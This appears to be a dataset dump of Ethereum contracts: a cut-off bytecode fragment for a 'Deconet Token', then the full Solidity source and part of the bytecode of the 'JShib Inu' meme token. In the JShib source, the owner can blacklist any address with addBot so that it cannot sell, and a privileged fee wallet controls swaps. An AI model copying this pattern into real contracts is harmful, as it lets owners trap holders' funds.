ffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610840565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610845565b005b3480156102fa57600080fd5b50610303610905565b6040518082815260200191505060405180910390f35b34801561032557600080fd5b5061032e61090a565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091d565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a5565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b506104196109ed565b005b34801561042757600080fd5b50610430610aae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047e57600080fd5b50610487610ad4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c75780820151818401526020810190506104ac565b50505050905090810190601f1680156104f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050e57600080fd5b5061054d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0d565b604051808215151515815260200191505060405180910390f35b34801561057357600080fd5b506105b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b95565b604051808215151515815260200191505060405180910390f35b3480156105d857600080fd5b50610617600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c1d565b604051808215151515815260200191505060405180910390f35b34801561063d57600080fd5b50610692600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d83565b6040518082815260200191505060405180910390f35b3480156106b457600080fd5b506106e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e0a565b005b6040805190810160405280600d81526020017f4465636f6e657420546f6b656e0000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061078f5750600360149054906101000a900460ff16155b151561079a57600080fd5b6107a48383610f62565b905092915050565b6000600154905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108215750600360149054906101000a900460ff16155b151561082c57600080fd5b610837848484611054565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108a157600080fd5b600360149054906101000a900460ff1615156108bc57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600481565b600360149054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109885750600360149054906101000a900460ff16155b151561099357600080fd5b61099d838361140e565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4957600080fd5b600360149054906101000a900460ff16151515610a6557600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f44434f000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b785750600360149054906101000a900460ff16155b1515610b8357600080fd5b610b8d838361169f565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c005750600360149054906101000a900460ff16155b1515610c0b57600080fd5b610c1583836118be565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d4057600080fd5b505af1158015610d54573d6000803e3d6000fd5b505050506040513d6020811015610d6a57600080fd5b8101908080519060200190929190505050905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ea257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561109157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110de57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561116957600080fd5b6111ba826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aba90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aba90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561151f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b3565b6115328382611aba90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116dc57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561172957600080fd5b61177a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aba90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061194f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611ac857fe5b818303905092915050565b6000808284019050838110151515611ae757fe5b80915050929150505600a165627a7a72305820500ab72af04895ee00eb68e322680c2283df3e36427502bed2e49801e5426bec0029
|
{"success": true, "error": null, "results": {}}
| 9,355 |
0x78160c9ba50d59fcc9fc72cd9682c5dcfb05f479
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JShib is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "JShib Inu";
string private constant _symbol = "JSHIB";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x06553F32A3C6395dCF0bC7cd7286f7f34d8dB5ad);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190613168565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612c91565b61051c565b6040516101a4919061314d565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612dd8565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f891906132aa565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ccd565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612c42565b61093c565b60405161025e919061314d565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612bb4565b610a15565b005b34801561029c57600080fd5b506102a5610b05565b6040516102b2919061331f565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612d60565b610b0e565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d0e565b610b87565b005b34801561031957600080fd5b50610334600480360381019061032f9190612d60565b610c39565b005b34801561034257600080fd5b5061034b610d13565b005b34801561035957600080fd5b50610374600480360381019061036f9190612bb4565b610d85565b60405161038191906132aa565b60405180910390f35b34801561039657600080fd5b5061039f610dd6565b005b3480156103ad57600080fd5b506103b6610f29565b005b3480156103c457600080fd5b506103cd610fe0565b6040516103da919061307f565b60405180910390f35b3480156103ef57600080fd5b506103f8611009565b6040516104059190613168565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612c91565b611046565b604051610442919061314d565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612d60565b611064565b005b34801561048057600080fd5b5061048961113e565b005b34801561049757600080fd5b506104a06111b8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612c06565b61176e565b6040516104d691906132aa565b60405180910390f35b60606040518060400160405280600981526020017f4a5368696220496e750000000000000000000000000000000000000000000000815250905090565b60006105306105296117f5565b84846117fd565b6001905092915050565b6105426117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c69061320a565b60405180910390fd5b600f5483856105de91906133e0565b11156105e957600080fd5b60105481836105f891906133e0565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce9061320a565b60405180910390fd5b60005b8151811015610938573073ffffffffffffffffffffffffffffffffffffffff16828281518110610733577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107ed5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108875750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610866577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610925576001600760008484815181106108cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610930906135c0565b9150506106da565b5050565b60006109498484846119c8565b610a0a846109556117f5565b610a058560405180606001604052806028815260200161391c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109bb6117f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6e9092919063ffffffff16565b6117fd565b600190509392505050565b610a1d6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061320a565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610b6f57600080fd5b6031811115610b7d57600080fd5b8060128190555050565b610b8f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c139061320a565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610c416117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061320a565b60405180910390fd5b60008111610cdb57600080fd5b610d0a6064610cfc83683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d546117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b6000479050610d8281612097565b50565b6000610dcf600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612103565b9050919050565b610dde6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff